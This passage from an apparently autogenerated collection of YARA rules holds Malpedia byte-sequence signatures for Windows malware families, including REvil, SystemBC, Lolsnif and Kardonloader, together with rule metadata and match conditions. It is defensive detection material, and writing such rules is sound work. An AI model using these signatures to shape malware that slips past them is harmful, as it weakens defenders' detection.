		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6828080000 33ff 8d85ccf7ffff 57 50 }
		$sequence_1 = { 0fb77124 8b11 668b450c 668944b202 }
		$sequence_2 = { 56 53 e8???????? 85c0 743d 6a00 }
		$sequence_3 = { e8???????? 894608 8b857cffffff 6a3c 894620 8d459c 6a00 }
		$sequence_4 = { 668984247e6e0000 0f1184241c6e0000 c784242c6e000006000000 c78424306e000009000000 }
		$sequence_5 = { 668975dc 668975e2 668975e4 66c745ac756d c645ae62 8855af }
		$sequence_6 = { 88043e 46 3c3e 752f 83fe05 7235 }
		$sequence_7 = { 6a00 8d4df8 51 6a01 8d4dff 51 50 }
		$sequence_8 = { 8b048550de0110 f644082801 7406 8b440818 5d c3 e8???????? }
		$sequence_9 = { e8???????? 59 8d8c24a0250000 e8???????? 68f2030000 }
	condition:
		7 of them and filesize < 279552
}

rule MALPEDIA_Win_Unidentified_121_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a6510632-1b9e-5c84-ab89-5f72cc6f435a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_121"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_121_auto.yar#L1-L169"
		license_url = "N/A"
		logic_hash = "2f8db882acb1a5c7d66a4cbcd4a58ef4e003ccebde890da1f9103b205ffea6c7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b55fc 8b421c 2540040000 750c }
		$sequence_1 = { 8b55fc 8b4218 8945f0 8b4d08 83792800 7405 }
		$sequence_2 = { 8b55fc 8b421c 50 68???????? 8b4d08 }
		$sequence_3 = { ff15???????? 4c8d4c2438 488b0d???????? 41b804000000 488d1584810100 89c3 e8???????? }
		$sequence_4 = { 0f8499000000 41b806000000 ba01000000 b902000000 ffd5 488b5320 }
		$sequence_5 = { 8b55fc 8b421c 2580000000 740c }
		$sequence_6 = { 4889d9 48c744245800000000 48c744246000000000 e8???????? 4889d9 ff15???????? }
		$sequence_7 = { 8944244c 0f85a1000000 83430801 4d89e1 4989e8 }
		$sequence_8 = { 3c54 0f857e000000 e8???????? 4d85ed ba01000000 752f }
		$sequence_9 = { 8b55fc 8b4218 99 8bc8 }
		$sequence_10 = { 85db 0f8589000000 488b5028 4883ea01 4883fafd 777b 4885ed }
		$sequence_11 = { 7511 8b7004 85f6 7539 488907 48c70300000000 }
		$sequence_12 = { e8???????? 41f6c404 488b8600010000 4889ae28010000 0f84b7000000 488d5001 483dff000000 }
		$sequence_13 = { 8b55fc 8b421c 2580020000 8b4df8 }
		$sequence_14 = { 8b55fc 8b421c 0d80020000 8b4dfc }
		$sequence_15 = { 8b55fc 8b421c 0d00080000 8b4dfc 89411c e9???????? }
	condition:
		7 of them and filesize < 2419712
}

rule MALPEDIA_Win_Revil_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6d9b3831-9422-59dd-891e-cc56c498429e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.revil_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "5ffcb29efd36b8555dc7beef77a59c8169ca5a939654167ee68e6e55a4f62dd3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33f6 6a00 6841db0100 ffb4356cffffff ffb43568ffffff }
		$sequence_1 = { 50 8d8538feffff 50 ff7508 e8???????? ff7508 e8???????? }
		$sequence_2 = { 8b80c0000000 8b5d08 8945ec 8b4508 }
		$sequence_3 = { 0cc0 80c980 880437 884c3701 }
		$sequence_4 = { 8365d000 807d0f2d 8b75f0 8975f4 7408 83ca02 }
		$sequence_5 = { 4b 8955f8 e9???????? 837db400 }
		$sequence_6 = { 8bc2 33437c 33cf 3345fc 894b78 8bcb }
		$sequence_7 = { 3345e4 89417c 8bce f7d1 8bc2 234ddc }
		$sequence_8 = { 81ecf0040000 53 56 57 bf90000000 }
		$sequence_9 = { 57 33db 89b53cffffff 8d8540ffffff 43 }
	condition:
		7 of them and filesize < 155794432
}

rule MALPEDIA_Win_Graftor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "138ca116-cc68-528f-bf0e-7fb64c51da51"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graftor_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "a96a22ad70eb991290928c1f214241d1fdeb4091277b5b5fb893f50f8f3393f5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 393d???????? 7523 8d85fcbfffff 50 57 57 6a29 }
		$sequence_1 = { 57 e8???????? 85c0 743f 8365fc00 8d45fc 50 }
		$sequence_2 = { c3 53 8b5e14 57 8bf8 3bdf 771d }
		$sequence_3 = { 5e 5d c20400 6a50 b8b69f4c00 e8???????? 8b7d10 }
		$sequence_4 = { e8???????? 6800aa4d00 8db5ecbeffff c645fc04 e8???????? 8b8d58bfffff 33ff }
		$sequence_5 = { e8???????? 845df0 740b 6a00 53 8d4db8 e8???????? }
		$sequence_6 = { 741c 50 ff15???????? 85c0 7511 8b4604 3d58b74e00 }
		$sequence_7 = { c68424a8030000fc 8d84244c020000 8bf4 89a424c4000000 50 e8???????? c68424a8030000fa }
		$sequence_8 = { e8???????? 83c418 84c0 747f 66d16dc8 0fb745c8 }
		$sequence_9 = { 897dac e8???????? 660fbe00 6a05 8d53bf 59 }
	condition:
		7 of them and filesize < 294912
}

rule MALPEDIA_Win_Donot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "30399a34-f31f-510d-a9cd-b28c8f061e17"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.donot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.donot_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "b17b58b9afa5bf822376cb1f7c125d224a4976e4d102fc9c5fd48e6d7a73b698"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745fc00000000 8d8d98fdffff 6a00 c78598fdffff00000000 68???????? c785a8fdffff00000000 c785acfdffff0f000000 }
		$sequence_1 = { 83e63f c1ff06 6bf638 8b04bd187b0410 807c302800 7d3c e8???????? }
		$sequence_2 = { c785c0fdffff00000000 c785c4fdffff07000000 668985b0fdffff 83fa10 }
		$sequence_3 = { 8d4904 8a80101c0410 8841fc 83ea01 75ec 47 83eb01 }
		$sequence_4 = { c78584edffff00000000 c78588edffff0f000000 c68574edffff00 e8???????? 8d8de8edffff c645fc0f 8d5101 }
		$sequence_5 = { 8d048502000000 0bc1 8bce 50 e8???????? 32c0 e9???????? }
		$sequence_6 = { c645fc1a 50 e8???????? c645fc1b b8ffffff7f 8b55c8 2bc2 }
		$sequence_7 = { 83ec18 c645fc06 8d85c8fdffff 8bcc 50 e8???????? 8d8580fdffff }
		$sequence_8 = { 8d8598fdffff 0f438598fdffff 03f0 56 e8???????? 8b8590fdffff }
		$sequence_9 = { 7269 81fbffffff3f 7349 8d041b 3dffffff7f 0f8741010000 }
	condition:
		7 of them and filesize < 626688
}

rule MALPEDIA_Win_Httpsuploader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "96408757-8238-57f6-8412-86b6523d9a84"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsuploader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.httpsuploader_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "6d3671102275ad7b87147a31f1d30011248bd9c06ff651580514d36fdd35a180"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41b8fe010000 6689bdf0020000 e8???????? 488d8df2040000 }
		$sequence_1 = { 33c0 488d4c2422 33d2 41b8fe010000 }
		$sequence_2 = { 458d4103 ba00000080 c744242880000000 4c89ac2498040000 }
		$sequence_3 = { 03df 3bde 72ad 488b5c2448 488b7c2420 b801000000 4883c428 }
		$sequence_4 = { ffca 750d 4d85c0 7408 498bc8 e8???????? }
		$sequence_5 = { 40387598 e9???????? 48895c2408 4889742410 48897c2418 }
		$sequence_6 = { 48897c2420 895c2440 895c2450 85d2 745e 6666660f1f840000000000 }
		$sequence_7 = { e8???????? eb40 4c8d2569be0000 488b0d???????? e9???????? 4c8d2566be0000 }
		$sequence_8 = { e8???????? 488d8de2000000 33d2 41b806020000 6689bde0000000 }
		$sequence_9 = { 7528 48833d????????00 741e 488d0db1f40000 }
	condition:
		7 of them and filesize < 190464
}

rule MALPEDIA_Win_Hazy_Load_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "24c66e7b-2677-5514-927b-1f5ec58947dd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hazy_load"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hazy_load_auto.yar#L1-L112"
		license_url = "N/A"
		logic_hash = "689a5f8205a52a844de3b9ea93f7ac4cdf01c931efdc00759c5c614c1c72cb27"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d542420 442bc7 4803d0 4533c9 }
		$sequence_1 = { 33d2 488bc8 4c8bf8 e8???????? 4c8bc6 41893f 498d4f08 }
		$sequence_2 = { 488d35c3aa0100 eb16 488b3b 4885ff }
		$sequence_3 = { 418be9 48c1f806 488d0db8200100 4183e23f }
		$sequence_4 = { 4883ec20 8bd9 4c8d0d09c60000 b904000000 4c8d05f5c50000 488d15aeb20000 }
		$sequence_5 = { 0f848d010000 83cfff 488d2ddf120100 83635000 83632c00 e9???????? }
		$sequence_6 = { 0fb64201 84c0 744d 0fbec8 83e968 }
		$sequence_7 = { 83fb08 7cd5 83fb08 0f8522010000 }
		$sequence_8 = { 4883ec20 488d3d93690100 48393d???????? 742b }
		$sequence_9 = { ff15???????? 48832300 4883c308 488d0551d50100 }
	condition:
		7 of them and filesize < 315392
}

rule MALPEDIA_Win_Hui_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9d52a9e1-364f-5da9-98e9-94947c68e8f2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hui_loader_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "9aeecb9fd394041a8c28b780fedfdb6f106e3cf0d7d8dbc8dc34058d911e30dc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bc8 83e01f c1f905 56 57 8b348d60e20010 }
		$sequence_1 = { 83c028 83c12c 4a 75eb b902000000 8d742454 83f901 }
		$sequence_2 = { 8db604b40010 6a00 50 ff36 e8???????? }
		$sequence_3 = { 75f8 42 83c628 83fa0a 7ce6 b931000000 33c0 }
		$sequence_4 = { 68???????? ff15???????? 6a00 6a00 6a00 8bf0 6a04 }
		$sequence_5 = { 80f95c 7408 8a48ff 48 3acb 75f3 }
		$sequence_6 = { 56 ff15???????? 8bf8 85ff 7506 50 }
		$sequence_7 = { 6880000000 6a03 53 6a02 6800000080 68???????? }
		$sequence_8 = { ffd0 68e8030000 ffd6 8b0d???????? }
		$sequence_9 = { 6a03 53 6a02 6800000080 68???????? ff15???????? }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Starcruft_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e43c9dba-c687-54c9-a2de-dd0a9a45d60b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.starcruft_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "96896309775ea1553e784bf38519d110c5e6ff85ff5070e7ca85592bc9b55bb1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c40c 8b45ec 50 e8???????? 83c404 8b4de8 894dec }
		$sequence_1 = { 85c0 7505 83c8ff eb17 6a00 8b55ec }
		$sequence_2 = { ff15???????? 8945e4 837de400 740c e8???????? }
		$sequence_3 = { 8d4dfc 51 8d95f0f9ffff 52 6a13 8d8538fbffff }
		$sequence_4 = { 8955fc 8b45f8 8945f0 eb09 8b4df0 83c102 }
		$sequence_5 = { 83c408 83f8ff 7516 6a00 8d95c8fcffff 52 8d85d0fdffff }
		$sequence_6 = { 6a36 8b4d08 83c158 51 e8???????? 83c40c 6a40 }
		$sequence_7 = { e9???????? 6a00 8b95e4f5ffff 52 ff15???????? 8b4d10 8901 }
		$sequence_8 = { 8d95f0feffff 52 e8???????? 83c40c 6804010000 8d85ecfdffff 50 }
		$sequence_9 = { 6a06 8d9578fbffff 52 e8???????? 83c410 8d85d0fbffff 50 }
	condition:
		7 of them and filesize < 294912
}

rule MALPEDIA_Win_Lolsnif_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "801276e5-64e7-59d1-a653-8ee4b7f16dc4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lolsnif_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "4100f8ab27f3910e5c0d280cf414b7c267c81147c4a7bc07b3262d87c3731e63"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7313 57 57 57 57 53 ff75fc }
		$sequence_1 = { 5b c20c00 55 8bec 83ec14 817d0c00100000 }
		$sequence_2 = { b892e8ffff c3 55 8bec 83ec40 53 56 }
		$sequence_3 = { e8???????? 8bf0 3bf3 7439 3bfb 7411 8b4718 }
		$sequence_4 = { 33db 53 c744241001000000 bf???????? ffd6 ff7508 57 }
		$sequence_5 = { f00fc108 a1???????? 83c040 50 ffd3 a1???????? 56 }
		$sequence_6 = { eb06 41 894804 33ff 5b 8bc7 5f }
		$sequence_7 = { 3bc6 8945f4 754d 8b4dc0 56 ff35???????? 8bc1 }
		$sequence_8 = { ab ab 8d442428 50 8d44241c 50 }
		$sequence_9 = { ff7704 e8???????? 3de8000000 7509 834dfcff e9???????? }
	condition:
		7 of them and filesize < 425984
}

rule MALPEDIA_Win_Diztakun_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "438551c7-604a-5ad2-954a-f3ff63f3cb31"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diztakun"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.diztakun_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "fc2cd18a0fc5853e5904a0ff7267816d8fa89853fb1e9c46e2210edfcdfdf3de"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7f05 b8???????? e8???????? 8b4c2444 8b5c2428 8b6c2430 }
		$sequence_1 = { 53 e8???????? cc 5a 58 }
		$sequence_2 = { 7d0c 57 8bcb e8???????? 8b542418 8b0b 3bf5 }
		$sequence_3 = { e9???????? 8b451c 83c0c7 56 83f80b 0f87c4000000 ff2485ffff4000 }
		$sequence_4 = { 7574 8b4008 3bc6 746d 663930 7468 8b5808 }
		$sequence_5 = { 50 8d84241c020000 64a300000000 8b84242c020000 6a00 6a00 8d4c2420 }
		$sequence_6 = { ff15???????? 83c6f0 56 e8???????? 8b7c2418 83c010 8907 }
		$sequence_7 = { 89642418 8bfc 50 e8???????? 83c010 83c404 8907 }
		$sequence_8 = { 8b8254010000 83c404 8bcb ffd0 }
		$sequence_9 = { 8bd9 895c2414 c744241000000000 e8???????? 33c9 85c0 0f95c1 }
	condition:
		7 of them and filesize < 688128
}

rule MALPEDIA_Win_Kardonloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "57227c50-5901-516a-b863-0f33adb6b519"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kardonloader_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "bf2ff4ff4bbba7fc1d200f179fb3f5bc11f84479969b4348f603834a274497e5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c0e904 8a8018314000 c0e002 0ac8 880c32 8bc2 }
		$sequence_1 = { 663bc8 751c 8b4208 8bf0 c1ee10 6683f801 6a06 }
		$sequence_2 = { 89450c 786a 0fb6443b01 8a9018314000 0fb6443b02 8a9818314000 }
		$sequence_3 = { 68???????? e8???????? 8bf0 85f6 0f844a010000 }
		$sequence_4 = { 7819 53 6800040000 8d8550f6ffff }
		$sequence_5 = { 58 0fb7f1 663bc8 751c 8b4208 8bf0 }
		$sequence_6 = { 84c0 ba???????? b9???????? 8d857cffffff 0f44ca }
		$sequence_7 = { 51 8d8578fcffff 50 68???????? }
		$sequence_8 = { 8bec 81ec1c020000 56 8b35???????? 57 6810270000 ffd6 }
		$sequence_9 = { 83c40c 8bcf 5f c6043100 8bc6 5e }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Norobot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "81ee252e-ea83-5b53-acab-35755b04ba71"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.norobot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.norobot_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "cfe0160692facfa8b89f040016e3df094319abbfbfe52416eb1da1d5fe06ee4b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c6400800 488b442408 c3 48894c2408 4883ec28 488b442430 488bc8 }
		$sequence_1 = { 4883c420 5b c3 4883611000 488d0520b20100 48894108 488d0505b20100 }
		$sequence_2 = { 4d3bc4 0f84ba000000 8b7500 498b9cf620c60300 90 4885db 740e }
		$sequence_3 = { 4883ec68 488b05???????? 4833c4 4889442450 4883bc248000000000 7f07 }
		$sequence_4 = { 4c8d4c2428 4c8d442430 488bd0 488b4c2450 e8???????? 488b442450 }
		$sequence_5 = { 4883bc248800000000 0f8482000000 33c0 83f801 }
		$sequence_6 = { 4c8d0576750000 41f644400201 7405 0fb6c9 eb25 0fb6d1 }
		$sequence_7 = { 7536 488d15db130300 488b8c24c0100000 e8???????? 8b442440 83c801 89442440 }
		$sequence_8 = { 4c8d057b1a0100 488d157c1a0100 b912000000 e8???????? 4885c0 741d 49ba7073d836192e55f3 }
		$sequence_9 = { e8???????? 0fb6c0 85c0 7448 48837c245000 7507 837c245801 }
	condition:
		7 of them and filesize < 545792
}

rule MALPEDIA_Win_Systembc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9f869723-6075-5b32-a402-475b08d3e463"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.systembc_auto.yar#L1-L162"
		license_url = "N/A"
		logic_hash = "9ee9f5ea5ece65bf2a7fd4bf4633a524cd0ca65ce3683cb8ae8b66a7bc9315ba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b000 ae 75fd 8a57fe }
		$sequence_1 = { 8b7d0c 8b4d10 f3a4 5e }
		$sequence_2 = { 33c0 ab 837d0c00 7403 ff47fc }
		$sequence_3 = { e8???????? 8d5804 6a18 e8???????? 83c061 aa }
		$sequence_4 = { 57 56 ff7508 e8???????? 8bd0 }
		$sequence_5 = { 66837aff00 7502 eb2e 837d0cff 7518 837d1000 }
		$sequence_6 = { c7049e00000000 b800000000 5e 5f 5b }
		$sequence_7 = { 8b4514 ab 8b4518 ab b801000000 }
		$sequence_8 = { 6a01 6a00 8b85bcfbffff 8b08 8b5118 50 }
		$sequence_9 = { c68573ffffff05 c68574ffffff01 c68575ffffff00 c68576ffffff01 48c78510ffffff01000000 }
		$sequence_10 = { 4883c420 66c7474e0100 c6475101 c6477b00 4883ec40 }
		$sequence_11 = { 0f858e010000 4883ec20 48c7c100000000 48c7c200000100 }
		$sequence_12 = { 49c7c0faff0000 49c7c100000000 ff15???????? 4883c420 }
		$sequence_13 = { e8???????? 4883c420 4883ec20 488d8e88010000 488d55b0 }
		$sequence_14 = { 4c8d474e 49c7c132000000 e8???????? 4883c420 488b4598 4883c01c 4883ec20 }
		$sequence_15 = { 488b8d48f9ffff 498d1438 4c8bc0 49c7c100000000 }
	condition:
		7 of them and filesize < 75776
}

rule MALPEDIA_Win_Combos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cc69e396-00ed-59a2-ba11-780fc1f2665b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.combos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.combos_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "197be11859075969cf043a035f09c4b79bbdaf0b1f0ee080745a9acd79282960"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f3ab c1e604 aa 8d9e50120110 803b00 8bcb }
		$sequence_1 = { 899ddcfeffff 899dd4feffff 895dfc 8b4508 }
		$sequence_2 = { e8???????? 8b35???????? 83c408 6a0a ffd6 a1???????? }
		$sequence_3 = { 81ec00020000 57 b93f000000 33c0 8d7c2405 }
		$sequence_4 = { 0bc5 33c1 8b848600ffffff 0bc7 5f 5e }
		$sequence_5 = { 6800010000 51 57 ffd6 8d542408 }
		$sequence_6 = { 33ff 89bdccfeffff 89bdc8feffff c785a0feffff24000000 c785a4feffff03000100 c785a8feffff08000000 8d85c8feffff }
		$sequence_7 = { 6a00 56 8b74243c 56 ffd3 83c428 }
		$sequence_8 = { 80c120 888800190110 eb1f 83f861 }
		$sequence_9 = { 33c0 89442418 8944241c 85db }
	condition:
		7 of them and filesize < 163840
}

rule MALPEDIA_Win_Backspace_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fb0b0e7f-6932-5f0b-957b-77772fb8dfd5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backspace_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "8089ff963941257a60e744d7204434da2ea9ab918c2bf4c32b875cf83b55a865"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
